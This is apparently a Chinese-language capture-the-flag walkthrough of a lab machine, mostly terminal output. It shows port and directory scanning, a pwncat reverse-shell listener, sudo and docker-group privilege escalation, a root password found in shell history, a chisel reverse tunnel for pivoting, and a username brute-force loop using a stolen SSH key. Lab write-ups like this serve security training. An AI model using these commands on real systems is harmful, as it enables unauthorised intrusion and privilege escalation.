9 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.979 seconds (129.36 hosts/sec). 4 responded ❯ export ip=192.168.60.177 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- With RustScan, I scan ports so fast, even my firewall gets whiplash 💨 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.177:22 Open 192.168.60.177:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 21:28 CST Initiating ARP Ping Scan at 21:28 Scanning 192.168.60.177 [1 port] Completed ARP Ping Scan at 21:28, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:28 Completed Parallel DNS resolution of 1 host. at 21:28, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:28 Scanning 192.168.60.177 [2 ports] Discovered open port 22/tcp on 192.168.60.177 Discovered open port 80/tcp on 192.168.60.177 Completed SYN Stealth Scan at 21:28, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.177 Host is up, received arp-response (0.00043s latency). Scanned at 2025-02-07 21:28:42 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 63 MAC Address: 08:00:27:A0:2C:8B (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ whatweb -v $ip WhatWeb report for http://192.168.60.177 Status : 200 OK Title : Apache2 Debian Default Page: It works IP : 192.168.60.177 Country : RESERVED, ZZ
Detected Plugins: [ Apache ] The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services insync with the current HTTP standards.
Version : 2.4.62 (from HTTP Server Header) Google Dorks: (3) Website : http://httpd.apache.org/
[ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header.
OS : Debian Linux String : Apache/2.4.62 (Debian) (from server string)
HTTP Headers: HTTP/1.1 200 OK Date: Fri, 07 Feb 2025 13:28:54 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Tue, 04 Feb 2025 10:56:19 GMT ETag: "29cd-62d4edbdf5ee5-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3041 Connection: close Content-Type: text/html
❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.60.177 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /server-status (Status: 403) [Size: 279] /Anonymous-Connections (Status: 301) [Size: 332] [--> http://192.168.60.177/Anonymous-Connections/]
发现是个集成了nmap功能的web❓
尝试扫一下本地,发现并没有开放22端口,猜测该web存在docker中
而且这个扫完会将结果保存在127.0.0.1.log中
尝试进一步扫描
找到日志保存的目录/victims
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
❯ gobuster dir -u http://$ip/Anonymous-Connections -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.60.177/Anonymous-Connections [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /victims (Status: 301) [Size: 340] [--> http://192.168.60.177/Anonymous-Connections/victims/]
发现确实会保存在后缀为.log的文件中
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ curl http://192.168.60.177/Anonymous-Connections/victims/127.0.0.1.log Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-07 13:38 UTC Nmap scan report for 127.0.0.1 Host is up (0.00027s latency). Not shown: 499 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.62 (Debian)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.91 seconds
❯ pwncat-cs -lp 4444 [22:37:28] Welcome to pwncat 🐈! __main__.py:164 [22:37:30] received connection from 192.168.60.177:52176 bind.py:84 [22:37:30] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957 [22:37:31] 192.168.60.177:52176: registered new host w/ db manager.py:957 (local) pwncat$
(remote) hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ id uid=1000(hacktivist) gid=1000(hacktivist) groups=1000(hacktivist),27(sudo) (remote) hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ sudo -l Matching Defaults entries for hacktivist on debian1: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User hacktivist may run the following commands on debian1: (ALL : ALL) NOPASSWD: ALL
(remote) hacktivist@debian1:/home/hacktivist$ sudo su AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message httpd (pid 8) already running root@debian1:/home/hacktivist# cd ~ root@debian1:~# ls -al total 28 drwx------ 1 root root 4096 Feb 4 23:15 . drwxr-xr-x 1 root root 4096 Feb 4 10:48 .. -rw------- 1 root root 137 Feb 7 14:44 .bash_history -rw-r--r-- 1 root root 605 Feb 4 11:03 .bashrc drwxr-xr-x 3 root root 4096 Feb 4 14:49 .local -rw-r--r-- 1 root root 161 Jul 9 2019 .profile root@debian1:~# cat .bash_history echo 'root:$uP3r_$3cUr3_D0ck3r' | chpasswd cd nano .bash_history exit id cd ~ ls ls -al cd /home/ ls cd hacktivist/ ls ls -al exit exit root@debian1:~# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 9: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:0a:0a:0a:0a brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.10.10.10/24 brd 10.10.10.255 scope global eth1 valid_lft forever preferred_lft forever
(remote) hacktivist@debian1:/tmp$ nmap 10.10.10.10/24 Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-07 15:02 UTC Nmap scan report for 10.10.10.1 Host is up (0.00022s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap scan report for debian1 (10.10.10.10) Host is up (0.00024s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http
Nmap scan report for debian2.private (10.10.10.20) Host is up (0.00026s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE 2222/tcp open EtherNetIP-1
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.51 seconds
❯ ./chisel server --reverse -p 2333 2025/02/07 22:51:16 server: Reverse tunnelling enabled 2025/02/07 22:51:16 server: Fingerprint CqFV5hn41DlTjjQ6h1BkwH/yLg0/Pu3yFXjRf0x1zKU= 2025/02/07 22:51:16 server: Listening on http://0.0.0.0:2333 2025/02/07 23:05:02 server: session#3: tun: proxy#R:2222=>10.10.10.20:2222: Listening -----------------------------分隔----------------- ❯ ssh [email protected] -p 2222 [email protected]'s password: Linux debian2 6.1.0-30-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.124-1 (2025-01-12) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Feb 4 23:12:09 2025 from 10.10.10.1 root@debian2:~#
这里不用端口转发也行,docker上没有ssh,现装一个就可以了
进入debian2看了下history,发现ssh中有私钥文件
那大概率就是登录10.10.10.1也就是宿主机的私钥了
但是我们并不知道私钥所对应的用户名,大概率也不会是root
那就是爆破用户名了
将私钥down到本地
1 2 3
❯ export ip=192.168.60.177 ❯ chmod 600 id_rsa ❯ for i in $(cat names.txt);do ssh $i@$ip -i id_rsa;done
输入完yes,一直敲回车
Root提权
最后拿到alfredo用户
1 2 3 4
alfredo@anon:~$ id uid=1000(alfredo) gid=1000(alfredo) grupos=1000(alfredo),109(docker) alfredo@anon:~$ cat user.txt af13f20ce2fb4266b4d381cf8f60f85f
看到用户在docker组中
docker提权结束了
1 2 3 4 5 6 7 8 9
alfredo@anon:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 1f3e46996e29: Pull complete Digest: sha256:56fa17d2a7e7f168a043a2712e63aed1f8543aeafdcee47c58dcffe38ed51099 Status: Downloaded newer image for alpine:latest # cat /root/root.txt f3a421bdd1e5119f49c3fda29838cf79